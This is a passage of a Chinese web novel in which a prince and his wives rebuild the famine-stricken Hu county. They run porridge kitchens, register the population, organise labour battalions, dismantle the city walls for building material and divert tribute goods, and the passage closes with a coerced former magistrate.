“陛下明白非常之时,当行非常之事。这一百万石米,放在国库里是死物,用在沪县却能活万民,筑根基,撬动未来百倍千倍的财富!陛下要的是富强的江山,而非库房里发霉的陈粮。此中轻重,陛下圣明,自会了然。” 他的语气斩钉截铁,带着一种不容置喙的决断,仿佛截留岁贡这等足以让寻常官员掉脑袋的大事,在他口中不过是拨动一枚无关紧要的棋子。 萧寒舟看着师父那平静却蕴含着磅礴力量的眼神,心中所有的疑虑瞬间烟消云散,取而代之的是一种近乎盲目的信任和激动! 他用力抱拳,声音带着一丝颤抖的坚定:“是!弟子这就去办!定不负师父所托!” ??...... 王有德的囚车,如同一条承载着无尽耻辱和痛苦的蛆虫,在数十名金吾卫士兵的押解下,缓缓驶离了沪县县城,沿着泥泞的乡间土路,驶向更偏远的村镇。 车轮碾过坑洼,发出沉闷而痛苦的呻吟。 囚笼中的王有德早已不成人形,肥硕的身体被绳索勒出道道深痕,脸上、身上糊满了恶臭的污泥、蛋液和干涸的血迹,头发被剃掉一半,露出青白的头皮,眼神空洞呆滞,如同被抽走了灵魂的躯壳,只剩下生理性的颤抖和偶尔发出的、如同濒死野兽般的微弱呻吟。 沿途的田野荒芜,村落凋敝。 衣衫褴褛、面黄肌瘦的乡民们,如同受惊的鸟雀,远远地躲在田埂后、茅屋旁,用麻木而带着一丝好奇的目光,看着这从未见过的、象征着官老爷彻底崩塌的奇景。 就在这时,一名身着玄黑轻甲、背负劲弩的金吾卫传令兵,骑着一匹快马,从囚车队伍后方疾驰而来! 他越过缓缓前行的囚车,在队伍前方勒马停住,随即从马鞍旁摘下一面锃亮的铜锣! “铛——!铛——!铛——!” 清脆而响亮的锣声,如同惊雷般在寂静的乡野间骤然炸响! 瞬间吸引了所有躲藏观望的乡民! 传令兵深吸一口气,运足中气,用他那带着金吾卫特有铁血气息的嘶哑嗓音,对着空旷的田野和那些惊疑不定的面孔,高声宣告: “沪县的父老乡亲们!听好了!” “世子殿下有令!即日起!在沪县县城东西南北四门!开设四大粥棚!” “白米稠粥!管饱管够!不限户籍!不分老幼!只要是沪县百姓!皆可前往!吃饱为止!” “世子殿下说了!让大家伙儿都吃顿饱饭,好有力气跟着世子重建家园!” “嗡——!” 如同在滚烫的油锅里泼进一瓢冷水!原本死寂麻木的乡野瞬间炸开了锅! “什么?!粥棚?!” “白米稠粥?!管饱管够?!” “真的假的?!世子殿下给咱们施粥?!” “天爷啊!这太阳打西边出来了?!” 乡民们从躲藏处纷纷探出头,脸上写满了难以置信的震惊和一丝被巨大惊喜冲击的茫然! 他们互相看着,眼中是同样的疑问和逐渐燃起的、微弱却无比珍贵的希望之火! “军爷!军爷!您说的是真的吗?!”一个拄着木棍、瘦得只剩一把骨头的白发老翁,颤巍巍地从田埂后走出来,声音带着哭腔和极度的渴望,“那粥棚在哪儿啊?离咱们村远不远?” “是啊!军爷!世子殿下真让咱随便吃?!”一个抱着面黄肌瘦婴儿的年轻妇人,也鼓起勇气问道,声音带着颤抖。 传令兵看着眼前这些衣衫褴褛、眼中闪烁着卑微希冀的百姓,心中也涌起一股复杂的情绪。 他挺直腰板,声音更加洪亮,带着不容置疑的肯定: “千真万确!世子殿下金口玉言!岂会骗你们?!” “粥棚就在县城四门!离得远的乡亲,结伴同行!路上互相照应!” “世子殿下还说了!”他环视众人,声音带着一种激昂的鼓动,“只要大家伙儿心往一处想,劲往一处使!跟着世子殿下好好干!重建咱们自己的家园!以后天天都能吃上饱饭,再也不用饿肚子了!好日子在后头呢!” “轰——!” 巨大的喜悦如同决堤的洪水,瞬间冲垮了所有疑虑和麻木! “苍天有眼啊!世子殿下活菩萨啊!” “有粥喝了!有饱饭吃了!” “快!快回去告诉大伙儿!去县城!喝粥去!” “世子殿下万岁!!” 乡民们激动得热泪盈眶! 他们互相搀扶着,呼喊着,跌跌撞撞地跑回各自的茅屋、窝棚,将这个如同天籁般的消息传递给每一个还在饥饿和绝望中挣扎的亲人、邻居! 沉寂的乡野瞬间被一种前所未有的、充满生机的喧嚣所取代! 无数道身影,如同涓涓细流,开始从四面八方的村落、田野,朝着沪县县城的方向汇聚! 第648章 贫穷的县 沪县城北,紧贴着破败的城门内侧,一片相对开阔的空地上。 一座巨大的、由粗大毛竹和崭新芦席临时搭建的粥棚,如同巨兽般矗立。 棚顶高耸,四面通风,虽然简陋,却透着一种前所未有的、充满力量感的秩序。 粥棚前方,早已排起了四条蜿蜒曲折、一眼望不到头的长龙! 男女老少,拖家带口,衣衫褴褛,面黄肌瘦,但每个人的眼中都闪烁着一种名为“希望”的光芒! 他们有的背着破旧的包袱,有的拄着木棍,有的怀里抱着饿得直哭的孩子,但无一例外,都努力地挺直了腰板,伸长脖子,眼巴巴地望着粥棚里那几口热气腾腾、散发着诱人米香的大铁锅! 空气中弥漫着浓郁的白米粥香气,混合着汗味、尘土味和一种难以言喻的、躁动而充满期待的气息。 粥棚入口处,临时摆放着几张破旧但擦拭干净的条案。 条案后,坐着几名穿着洗得发白的青色吏服、神情严肃却带着一丝疲惫的文吏。 他们是萧寒舟从王府带来的文书班子,此刻正一丝不苟地执行着登记造册的任务。 “姓名?” “李……李狗剩……” “籍贯?哪个村的?” “城……城西……李家洼……” “家中几口人?都是谁?” “三……三口……俺……俺婆娘……还有……还有个五岁的娃……” “按手印!下一个!” 文吏的声音清晰而快速,带着一种不容置疑的威严。 他们手中的毛笔在粗糙的黄麻纸上飞快地记录着。 每一个被问到的百姓,都带着一种近乎虔诚的敬畏和小心翼翼,努力清晰地回答着问题,然后在文吏的指引下,用沾了印泥的拇指,在属于自己的那一行名字旁,重重按下鲜红的指印! 那鲜红的指印,如同一个个新生的烙印,宣告着他们正式被纳入世子殿下规划的新秩序之中! 萧寒舟身着靛青儒衫,如同一杆标枪般挺立在粥棚入口的高处。 他并未参与具体登记,而是目光如炬,扫视着整个粥棚内外。 看着那四条越来越长的队伍,看着百姓眼中那越来越亮的光芒,看着文吏们一丝不苟地记录,他心中充满了前所未有的激动和使命感! 这不仅仅是在施粥,这是在清点人口,是在为即将到来的宏图伟业打下最坚实的人力基础! 每一个名字,每一个手印,都代表着沪县未来的一个建设者! 登记完成的百姓,在士兵的引导下,分流到粥棚内侧。 那里,几口巨大的铁锅下柴火熊熊燃烧,锅里翻滚着浓稠得能立住筷子的白米粥! 米香四溢!热气腾腾! 王有德家的厨娘动作麻利而温柔地为排到近前的百姓盛粥。 她们用特制的长柄木勺,舀起满满一大勺滚烫浓稠的米粥,稳稳地倒入百姓们递过来的、各式各样的破碗、瓦罐、甚至洗净的葫芦瓢里。 “小心烫!端稳了!” “不够再来添!管饱!” 厨娘们清脆的声音,如同春风拂过。 更让百姓们惊喜的是,在盛粥的木台旁边,还摆放着几大箩筐刚刚出炉、散发着诱人麦香和杂粮香气的杂面大饼子?! 饼子个头不小,厚实暄软,虽然掺杂了豆面、黍米面,不如纯白面精细,但在这饥荒年月,已是无上的美味! “饼子!还有饼子!” “一人一个!拿好了!” 负责分发饼子的士兵大声吆喝着。 当百姓们一手端着满满一大碗滚烫浓稠的白米粥,一手接过一个沉甸甸、热乎乎的杂面大饼时,巨大的幸福感如同潮水般瞬间将他们淹没! 许多人捧着碗和饼,双手都在微微颤抖!眼中瞬间涌出滚烫的泪水! “白米粥……真的是白米粥啊!稠得能插筷子!” “饼子!是粮食做的饼子!不是树皮草根!” “娘!娘!我们有吃的了!有白米粥!还有大饼!” “世子殿下……世子殿下真是活菩萨转世啊!” “世子殿下万岁!世子殿下万岁啊!” 哽咽声、啜泣声、孩童满足的吞咽声、以及发自肺腑、声嘶力竭的欢呼声,再次在粥棚内外爆发开来! 比之前的任何一次都要更加热烈! 更加真挚!更加充满力量! 那是对生存的感激!对未来的憧憬! 更是对给予他们这一切的世子林臻,死心塌地的效忠与拥戴! 萧寒舟看着眼前这感人至深、又充满力量的一幕,眼眶也不禁微微发热。 他深吸一口气,强压下心中的激荡,对身边的副手沉声吩咐:“仔细核对名册!务必确保登记无遗漏!所有数据,今晚必须整理完毕!” ??说完,他又去向另一个粥棚。 暮色四合,华灯初上。 沪县县衙后堂一间收拾得颇为雅致的偏厅内,灯火通明。 一张紫檀木圆桌上,摆着几样精致的江南小菜和一壶温热的黄酒,虽不及王府奢华,却也别有一番温馨。 林臻坐在主位,姿态闲适。 浣碧、张俪、晴雯、楚惜灵四女分坐两侧。 浣碧正执壶为林臻斟酒,动作温婉;张俪则用银箸夹了一块清蒸鲈鱼腹肉,细心剔去鱼刺,放入林臻面前的白玉碟中;晴雯小口啜饮着果酒,眼神灵动地扫视着众人;楚惜灵则安静地坐着,面前摊开着一卷更详细的建筑图纸,似乎在沉思。 气氛轻松而融洽,带着一种家人般的温情和共同奋斗的默契。 萧寒舟风尘仆仆地走了进来,脸上带着忙碌后的疲惫,但眼神却异常明亮。 他先是对着林臻和四位师娘恭敬地一一见礼:“弟子拜见师父,拜见浣碧师娘、张俪师娘、晴雯师娘、惜灵师娘。” “寒舟来了,坐吧。”林臻指了指下首的空位,示意他坐下,“城内人口,清点得如何了?” 萧寒舟并未落座,而是从怀中取出一本装订整齐、墨迹尚新的册子,双手恭敬地呈上: “回师父!四座粥棚登记造册已初步完成!经汇总核对,目前登记在册的沪县常住人口共计:一万三千七百六十八户! 其中,成年男丁十六岁至五十岁的,两万九千五百二十一人。 成年女子十六岁至五十岁的,三万一千零四十三人! 十五岁以下孩童一万八千七百六十五人! 六十岁以上老人七千四百二十人!” 他声音清晰,报出的每一个数字都如同沉甸甸的基石。 林臻接过名册,并未细看,只是随手放在桌上,目光平静地看向萧寒舟:“嗯,辛苦你了。有了人便有了根基。那么寒舟,依你之见,接下来,我们该如何着手?” 萧寒舟精神一振,略一思索,带着一丝书生意气的兴奋答道:“师父!弟子以为,当务之急,应是修路!扩建城防!正所谓要致富,先修路,道路畅通,则商货流通,百业可兴!城防坚固,则可御外敌,安民心!此乃固本培元之基!” 林臻闻言,嘴角勾起一抹意味深长的笑意,缓缓摇头。 他刚要开口,坐在他右侧的张俪却放下了银箸,那双精明锐利的凤眸扫过萧寒舟,带着一丝长辈对晚辈的提点和不容置疑的洞见: “傻孩子,路要修,城也要建。但此刻,最重要的不是这些砖石土木!” 她声音沉稳有力,如同商界女王在指点江山, “此刻民心初附,如同干柴遇烈火,炽热却易散!当务之急是火上浇油,将这民心彻底点燃、凝聚、化为己用!所以我们要收买人心!用最实在的好处,将他们牢牢绑在我们的战车上!” 她端起茶盏,轻呷一口,继续道,条理清晰,直指核心: “明日施粥之时,当着所有百姓的面宣布:由县衙出资,世子殿下做主!将沪县所有破败民居、窝棚,全部推倒,重新规划,统一建造新房!保证每家每户,都能分到遮风挡雨、干净整洁的住所!” 她目光扫过众人,带着强大的气场: “并且要说得清清楚楚,明明白白!告诉所有百姓世子殿下不养闲人! 无论男女老少,只要能动弹就必须干活!只有这样才有饭吃,有房住!老人可以干什么?看护幼童、清扫街道、编织箩筐!小孩子可以干什么?力所能及地帮工、捡拾柴火、学习手艺!壮丁干什么?自然是修路、筑港、建房的苦力重活!妇女干什么?洗衣做饭、缝补衣物、协助营造、甚至学习纺织!唯有如此,人尽其才,物尽其用,整座县城才能如同精密的机器般运转起来!才能爆发出改天换地的力量!” “说得好!”坐在张俪对面的晴雯眼睛一亮,放下酒杯,接口道,声音清脆悦耳,带着她特有的娇蛮和活力, “俪姐姐说得极是!不过光这样还不够!还得让百姓有奔头!有盼头!有干劲!” 她眼中闪烁着兴奋的光芒,如同发现了新玩具, “我在京城打理车马行的时候,就搞过月旬之星。每十天评一次,表现最好的伙计,赏钱,赏肉,赏新衣裳。效果可好了!个个都跟打了鸡血似的!咱们沪县这么多人,不如也这么搞!每旬评一次‘建设之星’! 男女各评五十人!评上了,不光名字上红榜,让全城人都知道,还当场发奖励!大块的肉,整坛的酒,白花花的大米!甚至还可以发铜钱!让他们拿回家去显摆!让所有人都眼红!都羡慕!都想着下次自己也要评上!” 她越说越兴奋,小脸因为激动而微微泛红:“这样大家干活才有劲儿!才有竞争!才有目标!” “哈哈哈!”林臻被晴雯那副献宝似的得意模样逗笑了,眼中满是赞赏,“雯儿,你这丫头,倒是把车马行里那套驭人之术,活学活用到治国安民上了啊!不错!很不错!” 晴雯得到夸奖,更是得意地扬起了下巴,如同骄傲的小孔雀:“那是!妾身这两年打理车马行,可不是白干的!琢磨出不少门道呢!” 林臻笑着点点头,补充道:“评星之法甚好,但沪县人口众多,光靠评星激励,覆盖面还是不够广。” 他目光转向晴雯,带着深意, “除了评星,还要建立一套更细致的‘身份评级’制度。根据每个人每日出工时长、完成工量、技能水平、甚至品行表现,综合评定等级。 等级高的,不光每旬有额外奖励,日常的米粮、布匹、甚至未来新房的分配,都可以优先、从优!干活多的,多领!干活少的,少领!偷奸耍滑的,严惩! 甚至要从百姓中提拔那些踏实肯干、有威信、有能力的,让他们担任工头、管事!让他们知道,只要跟着世子好好干,踏实肯干,就有机会出人头地!就能从泥腿子,变成管事!甚至变成官!这样,百姓才会真正把建设沪县当成自己的事!才会拼了命地干!” 第649章 创造GDP 晴雯听得连连点头,眼中闪烁着跃跃欲试的光芒:“嗯!夫君说得对!妾身明白了!评星是锦上添花,评级才是根基!妾身这就去琢磨琢磨,定弄出一套公平又管用的法子来!” 这时,一直安静看着图纸的楚惜灵抬起头,清丽的面容上带着一丝技术官员特有的严谨,她看向林臻,声音温婉却带着一丝忧虑: “夫君,灵儿已按夫君设想,结合沪县地理水文,初步绘制了新城住宅区的规划图纸。若一切顺利,明日便可组织壮丁,在东城废墟处开始挖掘地基。只是……” 她顿了顿,黛眉微蹙,“我们工程所需建材数量极其庞大!砖石、木料、石灰、甚至水泥,若仅靠从武清、京城等地调运,路途遥远,耗费巨大,恐怕杯水车薪,难以支撑整个沪县的建设速度。” “材料之事,灵儿妹妹不必忧心。”张俪放下茶盏,唇角勾起一抹自信而从容的笑意,带着商界巨擘掌控全局的气度, “我已传令下去,命我手下所有在山东、直隶、乃至京畿附近的掌柜,动用一切关系和人脉,全力调集建材!尤其是水泥!” 她看向楚惜灵,眼神带着一丝了然, “妹妹有所不知,自从武清特区证明了‘水泥’的神效,工部早已上书陛下,获准在全国范围内兴建大型水泥厂!光是山东一地,便有新式水泥窑四百余座!日夜不停,产量惊人!我已命人持王府令牌,优先采购,日夜兼程运往沪县!保证供应无虞!” 楚惜灵闻言,美眸中闪过一丝惊讶,随即看向林臻,带着一丝嗔怪和好奇:“夫君,此事你竟连灵儿都瞒着?那钢铁厂呢?是否也……” 林臻摸了摸鼻子,脸上露出一丝略带狡黠的笑意: “那是自然。光靠武清一座钢铁厂,如何支撑得起全国的基础建设?水泥厂、钢铁厂、纺织厂、机械厂早已在全国各地兴建起来。否则,你以为我当初为何宁愿顶着骂名,也要大兴土木,举全国之力修建复线工程和数条主干官道?” 他目光深邃,带着一种超越时代的远见, “修路,从来不只是为了通行!更是为了打通经济的血脉!为全国性的工业布局和资源调配,打下最坚实的基础!没有这些四通八达的血管,再好的工厂,也只能是孤岛!没有这些工厂源源不断地产出钢筋、水泥、机械我们拿什么去建设沪县?拿什么去支撑整个大乾的腾飞?这,就叫基础建设先行!” 他顿了顿,抛出一个让在场除了楚惜灵外都感到陌生的词汇:“这一切的最终目的,都是为了提升一个东西——GDP?!” “GDP?”浣碧、张俪、晴雯、甚至萧寒舟都露出了茫然的神色。 楚惜灵眼中却闪过一丝了然的光芒,她默默地点了点头,显然对这个来自林臻口中、代表着“国内生产总值”的现代经济学概念,早已有所领悟。 她轻声道:“夫君深谋远虑,非我等妇人所能及。” 林臻笑了笑,不再解释这个超前的概念。 他重新看向一直恭敬侍立、听得心潮澎湃的萧寒舟,目光变得严肃而郑重: “寒舟,你几位师娘的话,都听明白了吗?” 萧寒舟用力点头,声音带着激动和无比的坚定:“弟子明白!安民为要!民心所向,则万事可为!” “很好!”林臻沉声道,“明日,四座粥棚暂停施粥!” “啊?”萧寒舟一愣。 “在施粥之前分组编伍!?”林臻的声音斩钉截铁,带着一种即将开启宏大工程的决断,“你亲自带人,坐镇四门粥棚!按照名册,将所有登记在册的百姓,按年龄、性别、体力,重新编组!” “壮年男丁,编为力工营!由你亲自统领!” “六十岁以上老人,编为辅工营!负责力所能及的轻便活计!” “成年妇女,编为女工营!” “十五岁以下孩童,编为童工营!由灵儿暂领,负责组织学习简单手艺、帮工!若有年幼需照顾者,可随其母编入女工营!” 他目光灼灼,如同燃烧的火焰: “编组完成后,你立刻带着力工营,随你惜灵师娘前往城东废墟!将惜灵绘制的新城住宅区规划图,悬挂在最高、最显眼之处!让所有壮丁都看清楚!告诉他们!这就是他们未来要生活的地方!是他们亲手为自己、为子孙后代建造的家园!” “百姓们必然不信,必然震惊!也必然兴奋!你要安抚,要鼓劲,告诉他们,世子殿下言出必行!只要跟着干,好房子好日子就在眼前!” “然后组织力工营三班轮换,每四个时辰一换,人歇工不停,先从城东开始!拆!” “拆掉那些破败的城墙!拆掉王有德那座奢华的牢笼!拆掉东城所有腐朽的、阻碍新生的旧建筑!拆下来的砖石木料,全部登记造册,分类堆放!用作新城建设的第一批基石!” “同时,在废墟上立刻开始挖掘新城的地基!为即将到来的海量建材,清出场地!打好基础!” “时间紧迫!一刻也不能耽搁!我要让整个沪县,在最短的时间内,变成一个热火朝天、充满希望的大工地!” 萧寒舟听着林臻一条条清晰无比、如同军令般的部署,感受着那话语中蕴含的磅礴力量和改天换地的气魄,只觉得一股热血直冲头顶! 浑身激动得微微战栗! 他仿佛看到了眼前这片破败凋敝的土地,在师父的指挥下,在自己和万千百姓的手中,如同凤凰涅槃般浴火重生! 一座比京城更加宏伟、更加繁华、充满活力的新城,正在这长江入海口拔地而起! 而他萧寒舟,将是这伟大历史进程的亲历者、参与者、甚至是推动者! 他猛地单膝跪地,抱拳行礼,声音因为激动而带着一丝颤抖,却充满了前所未有的坚定和力量: “弟子领命!定不负师父所托!” 第650章 师娘好美啊 短短几日内,原本死气沉沉的沪县变成了一座精密的机器,轰鸣着运转起来! 汗水蒸腾的气息取代了昔日的绝望死寂,到处是热火朝天的劳作景象和带着期盼的吆喝声。 毒辣的正午阳光无情地炙烤着大地,将城墙根下的青石板晒得滚烫。 楚惜灵站在城墙不远处临时搭建的、遮阳效果有限的高台上。 她身着一身剪裁利落的浅青色劲装,乌黑的长发简单地束在脑后,几缕被汗水濡湿的碎发贴在光洁的额角,身后五名弟子正在做记录。 她紧蹙着秀眉,目光锐利地在面前巨大的沪县新城规划图卷和远处正在被有序拆解的东城城墙之间来回扫视,手中的炭笔时不时在图纸上点下标记或快速勾勒着微调。 汗水沿着她修长的脖颈滑落,浸湿了衣领,混合着她身上自然散发的、清雅如兰般的淡淡体香,在灼热的空气里弥漫开来。 萧寒舟手持一把略显粗糙的大竹伞,尽职地站在她身后半步之遥,竭力为她遮挡着头顶的烈日。 他挺拔的身姿同样被汗水浸透,靛青色的儒衫贴在背上,勾勒出紧实的肌肉轮廓。 空气中萦绕着的那缕若有似无的幽香,如同羽毛般轻轻搔刮着他的心尖,让他一阵莫名的口干舌燥,心跳不由自主地有些失序。 视线不自觉地掠过师娘专注的侧脸,那线条优美的下颌,因思考而微微抿紧的唇瓣,还有那被汗水浸润、显得格外晶莹剔透的雪白肌肤…… 这个念头刚一浮现,萧寒舟立刻如同被一盆冰水当头浇下! 他猛地低下头,几乎要将脸埋进胸前的衣襟里,强烈的羞耻感和自责瞬间攫住了他! 指尖用力掐进伞柄,指节都泛出了青白色。 我……我在想什么?! 那是师娘! 是师父视若珍宝的人! 我竟敢……竟敢生出如此龌龊不堪的念头! 简直是忘恩负义!禽兽不如! 他在心中痛骂着自己,额头上沁出的冷汗瞬间压过了热汗,之前的那些微旖旎心思荡然无存,只剩下冰冷刺骨的恐惧和自我唾弃。 他强迫自己将目光重新投向远方那片巨大的工地。 视线聚焦在师娘手中不断移动的炭笔上,仿佛要将那枯燥的轨迹烙印进脑海,以此驱散心中的邪念。 “师娘,”萧寒舟深吸了好几口气,才压下翻腾的心绪,声音带着一丝不易察觉的沙哑,恭敬地开口问道,“弟子有一事不明,那日晚宴上,见师父与诸位师娘谈论,没敢当场多问。” 楚惜灵似乎全然未觉身后弟子刚才瞬间的挣扎,她的注意力依旧高度集中在图纸上,头也不回,只传来清越如水的声音:“嗯?何事不明,问吧。” 语调轻松,带着一丝长辈的温和。 “是。”萧寒舟定了定神,指着前方正在被数千壮丁一块块拆下的巨大城砖,语气郑重,“师父为何执意要先拆掉这护城墙,用它来盖民房呢?” 他顿了顿,带着深深的忧虑, “城墙乃是一座城池立命安身的根本!是防御外敌、守护百姓生命财产的屏障!就这么拆掉了,万一有敌军突然来袭,该如何是好?我们辛辛苦苦建立的一切,岂不都要化为乌有?” 他后面的话没说完,但意思已经很清楚。 楚惜灵手中的炭笔终于顿住。 她微微侧过脸,唇角弯起一抹洞悉一切的笑意,那双清亮的眼眸看向萧寒舟,带着一丝促狭:“哦?敌军?那你觉得现在会有谁来入侵我大乾?谁又有这个胆子?” “呃……”萧寒舟被问得一滞,张了张嘴,一时竟真答不上来。 他脑中飞速掠过如今局势:陛下励精图治,摄政王南征北战,师父厉兵秣马,又有神机营这等利器震慑四方,如今的大乾,确实已非往日。 他“我””了半天,最后只能茫然地摇头,“似乎,确实没有。” “对啊。”楚惜灵笑容扩大,带着一种理所当然的傲然,“大乾日渐强盛,国势蒸腾如旭日东升!放眼寰宇,四海震怖!何人敢撄其锋芒?” 她素手遥遥一指城外连绵的营盘,那里隐约可见林臻直属的精锐——五千金吾卫的旗帜猎猎飘扬。 “光是这五千装备了神臂弩、锁子甲的虎贲之士坐镇沪县,就足以让一切魑魅魍魉、山贼流寇望风而逃,连靠近的胆子都没有!” 她收回手,语气带着一丝轻蔑, “至于南楚?去年一场大战早已打断了它的脊梁骨!所谓的和议停战,虽有反复之虞,但你看今年的岁供,五十万石上等白米!他们依旧是战战兢兢、恭顺奉上!短期内,绝不敢再生异动!” 她的目光投向更远处波光粼粼的海面, “至于那些海外的流寇?高丽早已不足为惧,残余势力龟缩在几个荒岛上瑟瑟发抖;至于那未开化的倭国小邦?哼,给他们一百个胆子,也不敢跨越重洋来捋虎须!” 她转过身,正面对着萧寒舟,神情变得无比认真:“所以,夫君说沪县是长江入海口的天然深水良港,乃是沟通南北、连接内外的枢纽锁钥!此乃定海神针般的战略要地!我无比赞同。” 她的语气带着强大的自信,“至于你担心的防御……城是死的,人是活的!当务之急,是安顿好这数万军民,凝聚人心,恢复元气!一个安稳繁荣、物资充沛、人心归附的沪县,本身就是最坚固的堡垒!况且,等新城建成,夫君自然会有新的防御布局,岂是区区一道老旧的土石城墙可比?你呀,就把心放到肚子里去吧!” 萧寒舟被她这番分析说服,心中疑虑尽消,用力点了点头:“师娘高见!弟子受教了!只是……” 他看着眼前堆积如山的、被小心翼翼拆下来的青灰色城砖,还是有些不解,“既然水泥产量充足,为何还要这般费力拆用城砖呢?直接用水泥岂不是更快?” 楚惜灵轻笑一声,语气带着精打细算的务实:“笨小子,这城砖可是现成的上好材料!不用白不用!我们最缺的是什么?不是粮食,而是时间和人力成本!” 她伸出手指,虚点着前方,似乎在描绘着蓝图:“你算算看,这些城墙拆下来,省去了烧砖的工序和漫长的运送时间,数量庞大得足够我们在东边废墟之上,最快时间内建起几栋五层高的居民楼!先用这部分城砖解决最急迫的住所问题,腾挪出空间,后续再用源源不断运到的水泥和钢材去构筑新城的主体!这叫效率最大化!时间,就是金钱,就是民心!” 她眼中闪烁着工程学家的精明光芒。 ?? 第651章 本世子也是没办法啊 萧寒舟顺着她所指的方向望去。映入眼帘的,是一副充满希望、生机勃勃的画卷。 高耸入云的城墙之上,力工营的壮丁们如同蚂蚁般辛勤劳作着。 他们喊着响亮的号子,用撬杠、绳索、铁锤,小心翼翼地将一块块巨大的城砖从坚硬的墙体中撬松、剥离。 汗水如同小溪般顺着他们黝黑健壮的古铜色脊背流淌,在阳光下闪烁着亮晶晶的光芒,又被粗糙的衣物吸干。 他们的脸上没有了麻木和愁苦,取而代之的是一种专注的认真,甚至带着一丝难以言喻的兴奋与期盼。 “当心这块!稳着点放!” “好嘞!右边接住!” “一二三!起——!” 下方,数十架临时赶制的巨大铁皮筐稳稳地接住上面用滑轮组缓缓放下的城砖块。 负责接应的百姓(主要是老人和半大小子)发出阵阵欢快的叫喊声,嘻嘻哈哈地将沉重的砖块搬到旁边的板车上,或者几人合力扛在肩头。 “这砖真沉实!” “是啊!用它盖的房子肯定结实地很!” “快点快点!拉去东边工地!就快能盖咱们的新家喽!” 那些扛着城砖奔向工地的身影,脚下虎虎生风,脸上洋溢的笑容纯粹而炽热! 那是对新家园的憧憬,是对未来安稳富足生活的笃信,更是源于“我亲自参与建设”的自豪感! 萧寒舟看着眼前这沸腾的劳动场面,听着那充满力量的号子和发自内心的笑语,眼眶不禁有些湿润,他由衷地感叹道:“师娘您看,他们笑得多开心啊!” 楚惜灵也微笑着,目光温柔地扫过每一个忙碌的身影:“是啊,其实百姓所求真的很简单。一口饱饭,一件暖衣,一方遮风挡雨的屋檐,一个能安然入睡、不惧明天的新家。只要让他们看到实实在在的希望,能用自己的双手去创造这份安稳,他们自然甘之如饴,倾尽全力,安分守己,与世无争。” 她的眉头忽然又微蹙了一下,声音里带上了一丝忧虑:“只是眼下这样不是长久之计啊,光靠喝粥啃饼可不行。身体要壮实起来干活,更需要油荤菜蔬。这蛋白质和维生素必须跟上,否则百姓的体质顶不住这么大的工程强度。” 楚惜灵单手撑住线条优美的下巴,柳眉微蹙,陷入了短暂的沉思。 那双清亮的眸子微微转动着,如同精密仪器在寻找最优方案。 阳光勾勒出她沉思时侧脸的绝美轮廓,连不经意间眨动的长长睫毛都仿佛带着智慧的光晕。 萧寒舟一时看得又有些呆了。 突然,楚惜灵眼中灵光乍现! 她猛地转过头看向萧寒舟,脸上绽开一个如同雨后初霁般明媚动人的笑容:“有了!” 这笑容让本就有些局促的萧寒舟心跳又是一漏。 楚惜灵语速飞快地吩咐道:“寒舟!你现在立刻去城西临时组建的童工营那边!找那些略通水性的渔家子弟和壮实点的孩子!马上组织人手,雇佣城里的老渔民为导师,趁着现在天气尚好,带他们到海边浅滩去学学如何捕捞鱼虾贝类!告诉他们,抓到的鱼获全部归公,统一收回来处理好,或蒸或煮,分给所有参与建设的百姓!不管是多是少,今天起,每天必须保证一顿有海鱼!” 她的思路越来越清晰流畅: “另外再从女工营中抽调身体健壮的妇女,组队发给她们工具和背篓,由熟识草药的老人带队,去附近的山里挖野菜!但凡是无毒、能食用的野菜、菌类,统统采挖回来!洗净烫熟,拌入粥饭或者单独分食!野味也是肉!” 她那双漂亮的眼睛里闪烁着星辰般的光芒,继续道: “还有!立刻回去面见你师父,就说我说的,不必再遮遮掩掩的,直接动用权力。把今年南楚纳贡的岁供里头,除了粮食以外的所有好东西——甭管是丝绸、茶叶、香料,全都给我扣下来!全部!一件不留!” 她的语气斩钉截铁: “然后去找张俪,利用我们之前在各地的商路和人脉,尤其是南楚那边熟人的经营门路,把这些好东西,再悄无声息地运回南楚卖出去,换成银子。然后用这笔银子,马上从南楚市场大量采购生猪活禽,优先买猪肉回来宰杀,给百姓开荤。我要在半个月内,让建设工地的厨房里,至少飘出一次肉香!” 这一连串环环相扣、胆大包天又异常务实的指令,让萧寒舟听得目瞪口呆,背脊一阵发凉! 我的天! 师父只是胆大到敢截留关系国本的贡粮用以赈济。 而眼前这位看似温柔娴静的惜灵师娘……竟然……竟然是把整个南楚岁贡都当成了可以拆借变现的“启动资金”! 连根毛都不打算给陛下留了! 这简直是……豪赌! 陛下……陛下他真的不会龙颜震怒吗? 萧寒舟只觉得喉咙发干,话都堵在嗓子眼,想问却不敢问。 他看着师娘那闪烁着坚定光芒的美丽侧颜,所有疑虑都被一股莫名的敬畏感压了下去。 他用力地点了点头,连礼节都忘了,转身飞奔而去。沪县县衙后院一间门窗紧闭、幽暗压抑的密室。 空气中弥漫着浓重的伤药味和一种难以言喻的、如同朽木腐烂般的衰败气息。 昔日不可一世的沪县知县王有德,如同一只惊弓之鸟,只敢用半个屁股虚虚地挨在一张硬梆梆的榆木椅子边缘。 他身上穿着粗布囚衣,遮掩不住里面层层包裹的肮脏纱布,血迹和黄色的脓液混合着药膏的痕迹隐约可见。 裸露在外的脖颈、脸颊上,仍然布满了纵横交错的鞭痕和尚未愈合的水泡溃烂。 他低垂着头,身子因为无法抑制的恐惧而微微发抖,浑浊的眼珠恐惧地瞟着主位上那个稳如泰山、正在悠然品着香茗的身影。 林臻放下手中温润的汝窑天青釉茶盏,杯底与桌面发出一声轻响。在这死寂的密室里,这声音如同惊雷般让王有德浑身一颤! “友德啊,”林臻的声音很温和,甚至带着一丝难得的亲昵称呼,如同多年未见的老友在寒暄,“身上的伤养得怎么样了?王府的医师,手段还行吧?” 王有德猛地抬起头,蜡黄浮肿的脸上挤出比哭还难看的谄媚笑容,声音带着哭腔和讨饶: “谢……谢世子殿下洪恩,下官这条贱命才能捡回来,托殿下的福好多了!好多了!” 他一边说,一边挣扎着想站起来行礼,却牵动了伤口,疼得龇牙咧嘴,又狼狈地跌坐回去。 “嗯,那就好。”林臻点了点头,脸上依旧挂着那抹温和的笑意,眼神却深邃得如同不见底的寒潭, “之前那些事儿你也别往心里去。本世子那也是不得已而为之啊。” 他轻叹一声,仿佛带着无限惋惜,“民怨沸腾,如同悬顶之剑!本世子刚到此地,根基未稳,若不借你项上人头一用,以平民愤,这沪县,怕是顷刻间就要糜烂。这都是为了大局。” 他顿了顿,声音压低了几分,带着一种循循善诱、推心置腹的意味: “不过你放心。只要你能好好配合本世子,把这拍卖会的事情办得漂漂亮亮的。本世子自然会信守承诺。放你们全家一条生路。让你们远走他乡,隐姓埋名,安度余生。这场噩梦,就让它彻底结束了吧?” 